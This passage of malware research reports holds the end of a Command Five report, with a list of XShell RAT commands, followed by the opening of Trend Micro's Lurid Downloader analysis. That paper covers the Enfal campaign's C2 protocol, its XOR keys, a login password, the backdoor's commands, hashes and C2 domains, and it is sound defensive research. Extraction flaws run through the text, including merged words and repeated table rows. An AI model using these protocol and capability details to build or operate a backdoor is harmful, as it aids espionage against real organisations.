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TROJ_INJECT.AMR Low Risk Trend MicroThreat Encyclopedia.
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TROJ_INJECT.AMR Low Risk Trend MicroThreat Encyclopedia. RetrievedNovember 21, 2011,from TrendMicro:http://about threats.trendmicro.com/malware/aspx?languageaunameTROJ_INJECT.AMR Microsoft. (2007,December 10).Adescription of Svchost.exein Windows XP ProfessionalEdition. Retrieved September 07,2011,fromMicrosoftSupport: http://support.microsoft.com/?kbid314056 MicrosoftCorporation. (2011,September 07).Localesand Languages (Windows).Retrieved January 24, 2012, from MicrosoftSoftware DevelopmentNetwork:http://msdn.microsoft.com/en us/library/dd318716.aspx MicrosoftCorporation. (2011,September 07).OSVERSIONINFOEX structure. RetrievedJanuary17, 2012, from MicrosoftSoftware DevelopmentNetwork:http://msdn.microsoft.com/en us/library/windows/desktop/ms724833(vvs.85).aspx MicrosoftCorporation. (2011,September 07).SYSTEM_INFO structure. RetrievedJanuary24,2012,fromMicrosoft MSDN:http://msdn.microsoft.com/enus/library/windows/desktop/ms724958(vvs.85).aspx OF29 COPYRIGHT COMMAND FIVE PTYLTD. ALL RIGHTS RESERVED. Mullaney,C. (2011, July30).Backdoor. Sogu TechnicalDetails Symantec. RetrievedAugust18,2011,from http://www.symantec.com/security_response/writeup.jsp?docid2011073003534599tabid2 Parkour,M. (2011, July05). contagio: Jul5CVE20102883PDF invitation.pdf withPoison Ivy from 112.121.171.94 pu.flowershow.org. RetrievedJanuary28, 2012, fromContagio: http://contagiodump.blogspot.com/2011/07/messagetargetingexpertsonJapan.html Parkour,M. (2011, July14). Jul13 CVE20102883 PDF Meeting Agenda with more Poison Ivywww.adv138mail.com 112.121.171.94. RetrievedSeptember 22,2011,from ContagiodumpBlog: http://contagiodump.blogspot.com/2011/07/jul13cve20102883pdfmeetingagenda.html Rasmussen,R. (2011). PracticalUsage of PassiveDNSMonitoring forECrime Investigations. RetrievedJanuary 04, 2011,from http://conferences.npl.co.uk/satin/presentations/satin2011slide3Rasmussen.pdf rbls. (2011, November 01).shenqi.travlman.com is not listed in any blacklists. RetrievedNovember 01,2011,from rbls:http://rbls.org/shenqi.travlman.com SafeZoneCast. (2011,August 09).SafeZoneCast. RetrievedDecember 30,2011,from http://safezonecast.lgcns.com/Common/MenaceInfo/pop. MenaceInfo.jsp?codeSZ11080003NS Sandbox,G. (2010, December 26).GFI Sandbox Malware Analysis Report: TrojanDownloader. Win32.Generic. RetrievedNovember 29,2011,fromGFISandbox: http://xml.ssdsandbox.net/view/3df0d0ab4ad9da4559a1c6464c8526d1 shapeless.(n.d. ).Poison Ivy 2.3.0Documentation. RetrievedAugust17, 2011,fromPoison Ivy Remote Administration Tool:http://www.poisonivyrat.com/dl.php?file230docs Sophos Ltd.(2011, November 25).Detailed Analysis Troj/AgentUDR Viruses and Spyware Threat Analyses Threat Center Sophos. RetrievedDecember 8,2011,fromSophos:http://www.sophos.com/en us/threatcenter/threatanalyses/virusesandspyware/TrojAgentUDR/detailedanalysis.aspx Sophos Ltd.(2012, January19).Detailed Analysis Troj/BdoorBDM Viruses and Spyware Threat Analyses Threat Center Sophos. RetrievedJanuary31,2012,from Sophos ThreatCenter: http://www.sophos.com/enus/threatcenter/threatanalyses/virusesandspyware/TrojBDoor BDM/detailedanalysis.aspx Sunbelt. (2009,October 15).
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GFI SandBox Malware Analysis Report/ Trojan.
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GFI SandBox Malware Analysis Report/ Trojan. Win32.GenericSB.Retrieved January23,2012,from GFISandBox: http://xml.ssdsandbox.net/view/228191d05a09877f90c8b802617bb25f Symantec Corporation. ( 2010,March11).Backdoor. Sykipot At Work. RetrievedFebruary02,2012,fromSymantec ConnectCommunity:http://www.symantec.com/connect/blogs/backdoorsykipotwork Symantec Corporation. ( 2012,January26).Insight into Sykipot Operations Symantec Connect Community. RetrievedFebruary05, 2012,fromSymantec ConnectCommunity: http://www.symantec.com/connect/blogs/insightsykipotoperations0 Telus. (2011, August03).Backdoor. Win32.Murcy. A TELUSSecurityLabs. RetrievedDecember 06,2011,from TELUSSecurity Labs:http://telussecuritylabs.com/threats/show/TSL2011080301 Thakur,V. (2011,December 14).TheSykipot Attacks SymantecConnect Community. RetrievedFebruary04, 2012, from Symantec Connect Community:http://www.symantec.com/connect/blogs/sykipotattacks ThreatExpertLtd. ( 2010,June 15).ThreatExpert Report. RetrievedJanuary11,2012,from ThreatExpert: http://www.threatexpert.com/report.aspx?md5b098aee16bd138c412075C9d315aefc9 ThreatExpertLtd. ( 2011,July26).ThreatExpert Report: Backdoor. Win32.Agent.anvj, TrojanDownloader. Delphi. RetrievedDecember 17,2011,fromThreatExpert: http://www.threatexpert.com/report.aspx?md53e3736dffedaf2a0ae4d948567933b3f ThreatExpertLtd. ( 2011,November 04). ThreatExpert report: Mal/Behav027, Backdoor:Win32/Idicaf.genB. RetrievedNovember 25,2011,fromThreatExpert: http://www.threatexpert.com/report.aspx?md5229947cc71a4601b8b7794b402e536a9 ThreatExpertLtd. ( 2011,October 06).ThreatExpert Report: Mal/Behav027, Virus/Win32.Atraps. CK.Retrieved November 21, 2011, fromThreatExpert: http://www.threatexpert.com/report.aspx?md5da2f98315f4c56fce21273e21e453b76 ThreatExpertLtd. ( 2011,September 25).ThreatExpert Report: TrojanDropper: Win32/Idicaf. C, Virus. Win32.Atraps. CK, Backdoor. Win32.Agent.bhxn. RetrievedDecember 25,2011,from ThreatExpert: http://www.threatexpert.com/report.aspx?md5f4c08d3df5ede0790e34eae0c5db8a7a ThreatExpertLtd. ( 2008,December 18).ThreatExpert Report: Mal/EncPkBL, Worm:Win32/Emerleox. J, Packed. Win32.Klone.af. RetrievedJanuary15,2012,from ThreatExpert: http://www.threatexpert.com/report.aspx?md537037f674bcbbb7eef3889ab6eb30268 ThreatExpert Ltd.(2010,March18).ThreatExpert Report: Troj/AgentMSC, BinImage/Agent.283805.Retrieved January26,2012,from ThreatExpert: http://www.threatexpert.com/report.aspx?md52d8a9038e151fb30d45ea8668afd2a8e ThreatExpert Ltd.(2011,December 09).ThreatExpert Report: Backdoor. Win32.Delf.abow, Trojan. Win32.CDur, Mal/Behav058.. RetrievedFebruary03,2012,from ThreatExpert: http://www.threatexpert.com/report.aspx?md5f0b848a841d4ef3406a6f9c4766c540b USCERT. (2011,March26).Early Warning and IndicatorNotice(EWIN)1107701AUPDATE.RetrievedJanuary 06,2011, fromIncident Prevention andDetection:ProtectingInformation SecurityofNational Banks: http://www.occ.treas.gov/newsissuances/alerts/2011/alert20114b.pdf Verisign. ( 2011).Verisign Authentication Services. RetrievedDecember 29, 2011, from Verisign Class 3Code SigningCertificate Revocation List: http://crl.verisign.com/CSC32009.crl OF29 COPYRIGHT COMMAND FIVE PTYLTD. ALL RIGHTS RESERVED. Ward, E.(2011, July31).Backdoor. MurcySymantec. Retrieved January 05, 2011, fromSymantec: http://www.symantec.com/security_response/writeup.jsp?docid2011080105203099 Wikipedia.(n.d. ).List of Intel microprocessors. RetrievedJanuary21,2012, fromWikipedia,the free encyclopedia: http://en.wikipedia.org/wiki/List_of_Intel_microprocessors Wong,J. (2011,August 16).Encyclopedia entry:Backdoor. Win32/Thoper. A.Retrieved January24,2012,from MicrosoftMalware Protection Center: http://www.microsoft.com/security/portal/Threat/Encyclopedia/Entry.aspx?NameBackdoor3AWin 322FThoper. A XTiger Crackersoftware. ( 2011,February14).All forDream... Retrieved December 23,2011, fromxdoors.net: http://www.xdoors.net/faq/index.html XTiger. (2010, April 28).forum.xdoors.net. Retrieved December 19, 2011, fromxdoors.net: http://forum.xdoors.net/viewtopic.php?f4t7 XTiger. (2011, March16). forum.xdoors.net. Topic: XDoor/XShellfree download paused. RetrievedDecember 27, 2011,from forum.xdoors.net:http://forum.xdoors.net/viewtopic.php?f5t76 XTiger. (2011). Xdoors.net. RetrievedDecember 23, 2011,fromAll for dream...:http://www.xdoors.net XTiger.(n.d. ).XShell. RetrievedDecember 23, 2011, fromXDoors: http://www.xdoors.net/help/XShell.htm OF29 COPYRIGHT COMMAND FIVE PTYLTD. ALL RIGHTS RESERVED. ANNEX A FORMATOF OSVERSIONINFOEX STRUCTURE OFFSET LENGTH(INBYTES) MEMBER DESCRIPTION 0 4 Structure size in bytes. 0x9C(156 bytes). 4 4 OS major version. 8 4 OS minor version. 12 4 OS build number. 16 4 An identifier for the OS platform. 20 128 A nullterminatedstringthat indicates the latest Service Packinstalled. 148 2 Service Pack major version number. 150 2 Service Pack minor version number. 152 2 A bit mask91 that identifiesthe product suitesinstalledon the system. 154 1 Product type that indicates whether the system is a workstation (0x01), a domain controller (0x02) or an NT server but not a domain controller (0x03). 155 1 A byte reservedfor future use. 91 For a detailed description of the product suite bit mask refer to the Microsoft MSDN OSVERSIONINFOEX reference page. ( Microsoft Corporation, 2011) OF29 COPYRIGHT COMMAND FIVE PTYLTD. ALL RIGHTS RESERVED. ANNEX B FORMATOF SYSTEM_INFO STRUCTURE OFFSET LENGTH(INBYTES) MEMBER DESCRIPTION 0 2 A number indicatingthe processor architecture of the installedOS. 2 2 Bytesreserved for future use. 4 4 Page size usedandthe granularity of page protection andcommitment. 8 4 Minimum application address. Thisisthe lowest memory address that applications and DLLs can access. 12 4 Maximum application address. This isthe highest memory addressthat applications andDLLs can access. 16 4 A maskrepresentingthe set of processorsconfigured into the system. 20 4 The number of logicalprocessors. 24 4 Processor type. 28 4 Granularity for the startingaddress at whichvirtualmemory can be allocated. 32 2 The architecturedependent processor level. 34 2 The architecturedependent processor revision.
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OF29 COPYRIGHT COMMAND FIVE PTYLTD.
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data/reports_final/0203.txt
OF29 COPYRIGHT COMMAND FIVE PTYLTD. ALL RIGHTS RESERVED. ANNEX C SUMMARY OFXSHELL COMMANDS COMMAND COMMAND DESCRIPTION svc Service control(list/stop/start/view/install etc. ). pslist Listsprocesses. pskill Killsprocess. shell Startsa commandshell. reboot Restartsthe computer. shutdown Shutsdown the computer. filetime Modifiestimestamp on a file (date created etc. ). uninstall Uninstalls RAT. mlist Getsprocessmodule specific information. idle Getshost mouse andkeyboardidle time. uptime Getssystem uptime. update Update plugin from URL. urlh Opensa URLin hidden view. urln Opensa URLin normal view. exeh Executesa program in hidden view. exen Executesa program in normalview. zip Compressesa file or folder to a Cab file. mhost Getscurrent ControlHost IPaddressandport. fputs Uploadsa file to the Control Host. fgets Downloadsa file from the ControlHost or a URL. inject Injects a plugin into another process. ( The default process to inject into isIEXPLORE.EXE.) pei Infectsa portable executable file. per Repairsa portable executablefile. avinfo Displaysinformation about installedantivirus software. htan TCPport forwardingandmapping. devcon Device manager. keylog Keylogger control. cleanl Cleans event log. display Displayscontrolproxy. proxy HTTP proxy service. socks5 SOCK5 proxy service. tcpagent TCPport forwarding. clipboard Clipboardcontrol. tcplist ListsTCP connections. tcpkill Terminatesa TCPconnection. sysinfo Getssystem information. spilist SPI layer information. cdrom ControlsCDROM (open/close). sens Extractssensitive information. rebind Rebinds TCPport to get password.
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ANY ADVICE OFFERED IN THIS DOCUMENTIS OFFEREDWITHOUT WARRANTY OF ANY KIND.
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data/reports_final/0204.txt
ANY ADVICE OFFERED IN THIS DOCUMENTIS OFFEREDWITHOUT WARRANTY OF ANY KIND. Command Five PtyLtd ABN:49149576670 http://www.commandfive.com infocommandfive.com THE LURID DOWNLOADER By Nart Villeneuve David Sancho TrendLabs 2 RESEARCH PAPER THE LURID DOWNLOADER CONTENTS ABSTRACT .....................................................................................................3 INTRODUCTION ............................................................................................4 ATTACK VECTOR...........................................................................................6 MALWARE ......................................................................................................6 COMMUNICATION WITH THE COMMAND AND CONTROL SERVER ..........8 COMMANDS ...................................................................................................8 TOOL MARKS ...............................................................................................10 COMMAND AND CONTROL INFRASTRUCTURE .......................................10 COMPROMISED ORGANIZATIONS .............................................................12 MALWARE CAMPAIGNS ..............................................................................13 NOTEWORTHY COMPROMISED ORGANIZATIONS ..................................14 DATA EX-FILTRATION ..................................................................................15 ATTRIBUTION ..............................................................................................16 CONCLUSION ..............................................................................................16 The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 3 RESEARCH PAPER THE LURID DOWNLOADER ABSTRACT This report investigates a campaign of targeted malware attacks that has successfully compromised 1465 computers in 61 different countries. Based on the project path embedded in the malware, we have named this specifi c campaign Lurid Downloader although the malware is typically known as Enfal. The majority of the victims are located in Russia and other members of the Commonwealth of Independent States (CIS). We were able to identify 47 victims that include numerous government ministries and diplomatic missions along with space-related government agencies, companies and research institutions in Russia and other members of the CIS along with a smaller amount of similar entities in Europe. The threat actors behind Lurid Downloader launched 301 malware campaigns targeting entities in specifi c countries or geographic regions and tracked the success of each campaign by embedding a unique identifi er in each instance of malware and associating it with specifi c victims. While some campaigns resulted in numerous victims, others were very specifi c and targeted resulting in only one or two victims. While previous Enfal activity has been typically associated with threat actors in China, it remains unclear who is behind the Lurid Downloader attacks. The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 4 RESEARCH PAPER THE LURID DOWNLOADER INTRODUCTION Prior to the highly publicized Aurora attack on Google in late 2009, which also affected at least 20 other companies, there was little public awareness regarding targeted malware attacks1. However, such attacks have been taking place for years and continue to affect government, military, corporate, educational, and civil society networks today. While such attacks against the U.S. government and related networks are now fairly well-known, other governments and an increasing number of companies are facing similar threats. Russia and other countries in the Commonwealth of Independent States are also being targeted and compromised. These countries have an expertise in the space industry and also have operations in oil gas, mining and other industry areas that have been targeted by malware attacks in the past. Malware attacks that exploit vulnerabilities in popular software in order to compromise specifi c target sets are becoming increasingly commonplace. These attacks are not automated or indiscriminate nor are they conducted by opportunistic amateurs. Known as targeted malware attacks, these attacks refer to computer intrusions staged by threat actors that aggressively pursue and compromise specifi c targets. Targeted malware attacks are typically part of broader campaigns, a series of failed and success compromises, by specifi c threat actors and not isolated attacks. However, the specifi city of the attackers prior knowledge of the victim affects the level of targeting associated with a single attack. As a result, some attacks appear to be less precise, or noisy, and are aimed at a broader community. Such spear phishing attacks are usually directed toward a group of people with a commonality as opposed to a specifi c target but are useful for gaining an initial foothold in a future target of interest2. The malware used in the Lurid Downloader attacks is commonly known as Enfal and it has been used in targeted attacks as far back as 20063. In 2008, Maarten Van Horenbeeck documented a series of targeted malware attacks that made use the Enfal Trojan to target non-governmental organizations, non-governmental organizations (NGOs) as well as defense contractors and U.S. government employees4. In 2009 and 2010, researchers from the University of Toronto published reports on two cyber- espionage networks known as GhostNet and ShadowNet that included malware and command and control infrastructure connected with the Enfal Trojan5. The domain names used by Enfal as command and control servers are, according to U.S. diplomatic cables leaked to Wikileaks, linked to a series of attacks known as Byzantine Hades. According to these leaked cables, the activity of this set of threat actors has been ongoing since 2002 and is known as Byzantine Hades, and there are subsets of this activity known as Byzantine Anchor, Byzantine Candor and Byzantine Foothold6. However, it is important to note that other than the use of Enfal itself, there appears to be several distinct sets of command and control infrastructure in use and the relationship among the threat actors operating these separate infrastructures remains unclear. The Lurid Downloader attacks appear to be another separate, but related Enfal network with a geographic focus. While there is clear evidence that the Tibetan community is also target, the victims of this attack are concentrated in Russia and other CIS countries. Numerous embassies and government ministries have been compromised as well as research institutions and agencies related to the space industry. The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 5 RESEARCH PAPER THE LURID DOWNLOADER Our investigation began with an analysis of the Lurid Downloader malware. Our objective was to document its functionality and map out its command and control network. While this malware family is well known, there appear to be various associated threat actors using it to compromise targets in various geographic locations. Similar versions of this malware have been used to target both the U.S. government and NGOs in the past. We could fi nd no direct links between this particular command and control network and the previously discovered ones we believe that it is most likely a separate, but related network as they appear to each have a regional focus. We uncovered a command and control network that consists of 15 domains names and 10 IP addresses. We were able to retrieve a listing of the compromised computers connecting to these servers. In total, we found 1465 unique hosts (Hostname Mac address as stored by the CC) with 2272 unique external IP addresses connecting to the command and control network primarily from Russia (1063), Kazakhstan (325) and Ukraine (102) along with numerous other countries in the CIS (former Soviet Union). We were able to use reverse DNS and WHOIS lookups to determine the identity of 47 compromised hosts. From the victims we were able to identify, there were concentrations of government ministries and diplomatic missions as well as space- related government agencies, companies and research institutions. We found that the attackers embedded campaign codes inside the malware they propagated in order to keep track of the success of their campaigns. In total, we found 301 campaign codes and there are high concentrations of victims within a single country for each instance of the malware campaign indicating that the distribution of the malware is targeted at specifi c countries or regions. In addition, nearly 60 of the campaigns only affected 1 or 2 victims indicating the precision with which the malware campaigns were conducted. 1 For the attacks on Google, see http://googleblog.blogspot.com/2010/01/new-approach-to-china.html 2 http://www.cisco.com/en/US/prod/collateral/vpndevc/ps10128/ps10339/ps10354/targeted_attacks.pdf 3 http://about-threats.trendmicro.com/ArchiveMalware.aspx?languageusnameTROJ_SHARP.R 4 http://events.ccc.de/congress/2007/Fahrplan/attachments/1008_Crouching_Powerpoint_Hidden_Trojan_24C3.pdf , http://isc.sans.org/presentations/SANSFIRE2008-Is_Troy_Burning_Vanhorenbeeck.pdf, http://isc.sans.edu/diary. html?storyid4177 5 While the domain names are present in the GhostNet report, they are not part of GhostNet but a completely different network of command and control servers that are actually associated with Enfal. http://www.nartv.org/mirror/ghostnet.pdf and http://www.nartv.org/mirror/shadows-in-the-cloud.pdf 6 http://wikileaks.org/cable/2009/04/09STATE32025.html http://cablesearch.org/cable/view.php?id08STATE116943 and http://www.reuters.com/article/2011/04/14/us-china-usa-cyberespionage-idUSTRE73D24220110414 The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 6 RESEARCH PAPER THE LURID DOWNLOADER ATTACK VECTOR In a typical targeted malware attack, a target typically receives a socially engineered message such as an email or instant message that encourages the target to click on a link or open a fi le. The links and fi les sent by the attacker contain malicious code that exploits vulnerabilities in popular software such as Adobe Reader (e.g. pdfs) and Microsoft Offi ce (e.g. docs). The payload of these exploits is malware that is silently executed on the targets computer. This allows the attackers to take control of the computer and obtain data from it. The attackers may then move laterally throughout the targets network and are often able to maintain control over compromised computers for extended periods of time. Ultimately, the attacks locate and ex-fi ltrate sensitive information from the victims network. In this case, the delivery mechanism used was an email with a malicious PDF as an attachment. The email had no content, just a subject line and an attachment. The email message was spoofed to appear to be from ohhdldalailama.com, the Offi ce of the Dalai Lama and had a subject of Tibetan Losar Event on 6 March 2011. It also contained an attachment named LOSAR FLYER_edited-3.pdf. The email was sent using an email provider called Gawab (gawab.com) which is popular in the Middle East. The server used was info3.gawab.com (66.220.20.18) and the email address was emb107gawab.com. The originating IP address was: 96.46.11.88 (INTERNETXTUSA). While this IP address is assigned to the US, it is used by a VPN provider in China7. If the attached PDF is opened with older versions of Adobe reader, malicious code is executed that drop malware on the targets system. The malware then connects to a command and control server under the attackers control. At this time, the targets computer is compromised and under the full control of the attackers. 7 http://www.ldvpn.cn/us-dongtai.html MALWARE MD5 File Name Detection 322fcf1b134fef1bae52fbd80a373ede LOSAR_FLYER_edited-3.pdf TROJ_PIDIEF.SMZX This PDF contains a JavaScript stream that exploits the util.printd vulnerability (CVE- 2009-4324) that affects Adobe Reader 9.x (before 9.3) and 8.x (before 8.2). MD5 File Name Detection 84d24967cb5cbacf4052a3001692dd54 ctfmon.exe TROJ_MECIV.A This PDF contains a JavaScript stream that exploits the util.printd vulnerability (CVE-2009-4324) that affects Adobe Reader 9.x (before 9.3) and 8.x (before 8.2). MD5 File Name Detection 3447416fbbc65906bd0384d4c2ba479e mspmsnsr.dll[chars] TROJ_MECIV.A The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 7 RESEARCH PAPER THE LURID DOWNLOADER After successful exploitation, two malware components are created. One is a dropper (ctfmon.exe) that installs a windows service. The service loads the dropped dll fi le mspmsnsr.dlllong string of characters. The malicious Windows service stores its confi guration settings in the registry: HKLM\SYSTEM\CurrentControlSet\Services\WmdmPmSp\Parameters This malware identifi es itself as version 2.14. During the course of our investigation, we discovered another version of the malware that identifi es itself as version 2.15. MD5 File Name Detection 856de08a947a40e00ea7ed66b8e02c53 isssync.exe WORM_OTORUN.TMP Instead of a Windows service, version 2.15 is just a single executable that copies itself to the system folder and ensures persistence by changing the common start folder of windows to a special one it creates. It then copies all the usual auto-start items there, as well as itself. The existence of this folder is constantly checked and redone if the user or any program switches it back to normal. The Trojan collects information from the computer and sends it via HTTP POST. The information it collects is the following: Computer name MAC address computer OS and version IP address and codepage language of the operating system. It constantly communicates with a CC server to perform certain info-stealing tasks. The main feature of the Trojan is that all communication is started by the client by http. Firewalls and other security devices will never see any communication from outside in. Even the interactive command line is built this way so everything is done from the inside out. The communication is always encrypted although its a simple XOR single- byte encryption. This means that network security devices wont readily see anything suspicious going on. The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 8 RESEARCH PAPER THE LURID DOWNLOADER COMMUNICATION WITH THE COMMAND AND CONTROL SERVER When malware is executed on the targets system it checks in with one or more servers under the control of the attackers. Command and control mechanisms allow the threat actors to confi rm that an attack has succeeded in addition to supplying them with some information about the targets computer and network. From here on, the client communicates back to the control server expecting a command, allowing the attackers to issue commands to the compromised target. All of the connections to the command and control servers use the HTTP protocol and request specifi c URL paths. On startup, the malware connects to the command and control server and requests the path /trandocs/mm/ (the path may differ with other samples, for example httpdocs/mm/ or /iupw82/netstate). This appears to be a LOGIN connection and the server always responds with 123. The data transmitted to the command and control server consists of the following: Encrypted Password/hostname:MAC/ip address OS name codepage:locale actual exe name campaign name y/n (sys32time.ini exists? Is it 1Mb or bigger?) y/n (ipop.dll exists?) y/n (always n in our samples) malware version (2.14 or 2.15) The encrypted password at the beginning of the LOGIN packet only appears on version 2.15. The sample we analyzed contains the password hallelujah and it is encrypted with ADD FAh. The earlier version, 2.14, does not contain a password at all. After the initial connection, the malware makes two kinds of connections to the command and control server every 2 minutes. The fi rst connection is a KEEPALIVE connection to the URL path /cgl-bin/Owpq4.cgi. The malware posts information to the command and control server that identifi es the compromised machine: OS and version, campaign ID and malware version. The second connection is an ASKCMD connection to a URL with the path /trandocs/mm/ machine_name:MAC address/Cmwhite. The contents of Cmwhite contain commands that are sent by the attackers to the compromised computer. The range of possible commands will be discussed below. When the command fi le, Cmwhite is downloaded, the malware fi rst acknowledges the receipt of the command by issuing an ACKCMD connection to /cgl-bin/Clnpp5.cgi. Once the command is interpreted and performed, the malware issues a CMDDONE request to /cgl-bin/Rwpq1.cgi. It contains the results of the command and, if relevant, a result code that indicates any error encountered. When there is no command set by the attackers for the victim computer, the command and control server returns a 404 NOT FOUND error page. This is never interpreted correctly as a command and therefore ignored. The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 9 RESEARCH PAPER THE LURID DOWNLOADER COMMANDS The command packet that is contained within the Cmwhite response is encrypted. In the samples we analyzed, it is encrypted with XOR 45h. Other communication packets observed suggest that there are other keys in use but they are always a single byte. Once decrypted, this is what a command packet contains: First two bytes: 40 40. ( This is just a magic number). Third byte: Command code.
205
Fourth byte: Return code.
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data/reports_final/0205.txt
Fourth byte: Return code. ( This only used in the CMDDONE packet to indicate error/success). From the Fifth byte on, the command carries parameters, which vary depending on the nature of the command. The range of commands available to the attackers that are enumerated below demonstrate the level of control the attackers have over their victims. In addition to functionality that allows the attackers to send and receive fi les, they are able to activate an interactive remote shell on compromised systems. Range of commands Command 01 ECHO It echoes back the word contained in bytes 5 and 6. Theres another parameter, which is supposed to contain the string ibme54. If this is right, it keeps an internal counter of how many of these ECHO packets, it has received. Command 02 IPOP LOAD CHECK It checks if the previous check for the fi le c:\windows\system32\ipop. dll was successful. It returns a y/n condition. Command 03 SEND FILE When the client receives this command, it retrieves a fi le and sends it to the CC server. The fi lename is a parameter in the command packet. Command 04 RECV FILE This command has two parameters, the fi lename and the data. The client creates the fi le with the data in the packet. It does this by constantly communicating with a Ufwhite URL. This URL is accessed repeatedly in order to keep receiving chunks of the data fi le and appending it to the fi le. When theres no more data, the fi le is closed and operation is fi nished. After each packet is correctly received, the client sends a report packet to Clnpp5.cgi specifying that it was Ufwhite who started this operation. Command 05 CMDEXEC It accepts a single command and executes it in the victim system. Command 06 DELETE FILE It accepts a fi lename string as a parameter. It deletes the fi le. Command 07 MOVE FILE It accepts two fi lenames. It moves the fi le from source to target destination. Command 09 LS When the client receives this command, its proceeds to list the fi les within a specifi ed directory and sends the list back in a response packet. Command 0A INTERACTIVE MODE When the client receives this command, it stays in interactive mode. It starts connecting to Clnpp5.cgi expecting a command. These commands are then executed and error codes sent straight away until an exit command is received. The interactive commands have a special tag to set them apart from regular commands. This tag is 1234. The way this interactive system is implemented is the following: The command is run in the same way as command 05 but the output is redirected to a fi le (c:\Documents and Settings\user\ SendTo\msacm.dat). The contents of the fi le are then sent in the return packet to Clnpp5.cgi. Once the exit command has been received, this mode is interrupted. While this mode is going on, the Trojan still sends keepalive and regular command requests packets. The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 10 RESEARCH PAPER THE LURID DOWNLOADER Command 0B MKDIR The client creates a directory Command 0E TERMINATE PROCESS The client tries to terminate a given thread in the system. Command 10 EXEC NFAL When this command is received, the client tries to execute the fi le c:\ windows\system32\nfal.exe. This fi le does not exist on an infected system normally so it must be a placeholder for a command fi le uploaded to the victim. Command 40 PING When this command is received, the Trojan just sends back an empty packet with a success code condition. TOOL MARKS The terms tool marks refers to characteristics contained within malware that indicate that they are part of the same campaign or related to specifi c threat actors8. In this case, the attackers left the PDB path in the malware samples we analyzed which indicate the name of the project: e:\programs\LuridDownLoader\LuridDownloader for Falcon\DllServiceTrojan\Release\DllServiceTrojan.pdb e:\programs\LuridDownLoader\LuridDownloader for Falcon\ServiceDll\Release\ ServiceDll.pdb We named this campaign of targeted attacks Lurid DownLoader based on the project name the attackers have given to their own malware. 8 http://mobile.darkreading.com/9287/show/571d636618a7ba35b7e9bae872fc5bfdtebba8420c261102635de4d20bdd772f2 COMMAND AND CONTROL INFRASTRUCTURE Attackers often maintain a network of command and control servers, not just a single one. Often, the malware used in targeted attacks contains one or more command and control locations. By linking together the domain names that are present in related malware samples, along with domain names registered by the same email address and domain names hosted on the same web servers we were able to map out the command and control infrastructure of the attackers. In total, we found 15 domain names associated with the attackers and 10 active IP addresses. The domain names were registered by two different email addresses bruce_tuneryahoo.com and icqmaster163.com. The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 11 RESEARCH PAPER THE LURID DOWNLOADER DOMAINS REGISTRATIONS mailru-vip.com yandex-vip.com google-offi ceonline.com offi ce-helppane.com foxit-pro.com ymail-vip.com ymail-pro.com yandex-pro.com google-offi ce.com mailru-pro.com xiaohu wang bruce_tuneryahoo.com 86.01089464156 fax: 86.01089464156 bei jing shi beijing beijing 102600 CN hoticq.com redhag.com zadhc.com lasmail.com hotoicq.com jason bush icqmaster163.com 86.01062311307 fax: 86.01062311307 No.20 Xueyuan Road,Haidian District,Beijing beijing beijing 100083 CN Rather than use the root domains, the attackers use a variety of sub-domains. These various sub-domains resolve to 10 different IP address spread across 3 different IP address ranges assigned to 2 providers: Krypt Technologies in the U.S. and UK2/100mb in the U.K. Additional malware samples that connect to this command and control infrastructure are: MD5 Domain IP ADDRESS ed69041fbe470fe0f2c1fd837efcb6e7 ace.mailru-vip.com home.mailru-pro.com xphlp.ymail-vip.com 173.212.195.216 d66948e4e90baff08d24c77c93788597 ace.mailru-vip.com home.mailru-pro.com xphlp.ymail-vip.com 173.212.195.216 2d93cbe969d3b5f02d4f9f1a3eb39b85 ace.mailru-vip.com home.mailru-pro.com xphlp.ymail-vip.com 173.212.195.216 465ca2eef82b412949eeaa9fa3cc5c75 setup.mailru-vip.com 109.123.126.143 e1833932053171da15c60e6c2fca708a superkiller.mailru-vip.com sexinsex.ymail-vip.com 109.123.126.156 e38ccff8e7fb922fe48b54b4032fec50 setup.mailru-vip.com 109.123.126.143 (184.95.36.75) 744670ca4531f7ceb72a75ae456e8215 microsoft.offi ce-helppane.com 109.123.126.151 f0f31112af491f56af7cc0802ba96c0f microsoft.offi ce-helppane.com win.foxit-pro.com update.ymail-vip.com 109.123.126.151 106.123.126.151 2a21eb36cc2a0a24149a4821aa328b7b microsoft.offi ce-helppane.com 109.123.126.151 5403e0bda1db72e5e862e9169db4e1d7 led.offi ce-helppane.com 174.139.13.122 (184.95.36.75) 57d99d67c3e8987e812c9332d6774794 press.foxit-pro.com 963e39d8675b5bb3d2f4e6da45c51bb0 press.mailru-pro.com (184.22.240.174) 166d6cd28c9df20c30fed220a3132345 press.ymail-pro.com 46.23.67.226 89b98f66650cb29d0926713fda3b5bbc press.ymail-pro.com 46.23.67.226 (184.22.251.12) The Lurid Downloader THREATS TRENDS AND SECURITY ISSUES DIRECT FROM THE EXPERTS 12 RESEARCH PAPER THE LURID DOWNLOADER d8815fe64eb5321add412554908da28a help.lasmail.com 109.123.126.157 22caf76a780c54ddce7fa139100fa54e mail.lasmail.com 109.123.126.157 (58.64.149.29) 140c69ea9a963100e75497b33820f1da help.lasmail.com 109.123.126.157 (204.12.197.70) 8f65204d8440b7be2b52908e35d19124 mail.lasmail.com 109.123.126.157 (58.64.149.29) (204.12.197.70) f993d4cabe5021c96d6a80192f142dca support.hotoicq.com 109.123.126.157 74bdabd1077d640f7d21c6cfb14a0348 204.12.197.70 22caf76a780c54ddce7fa139100fa54e mail.lasmail.com 109.123.126.157 (58.64.149.29) 140c69ea9a963100e75497b33820f1da help.lasmail.com 109.123.126.157 (204.12.197.70) 8f65204d8440b7be2b52908e35d19124 mail.lasmail.com 109.123.126.157 (58.64.149.29) (204.12.197.70) f993d4cabe5021c96d6a80192f142dca support.hotoicq.com 109.123.126.157 74bdabd1077d640f7d21c6cfb14a0348 204.12.197.70 COMPROMISED ORGANIZATIONS After mapping out and monitoring the command and control network used in this campaign we were able to retrieve a listing of the compromised computers connecting 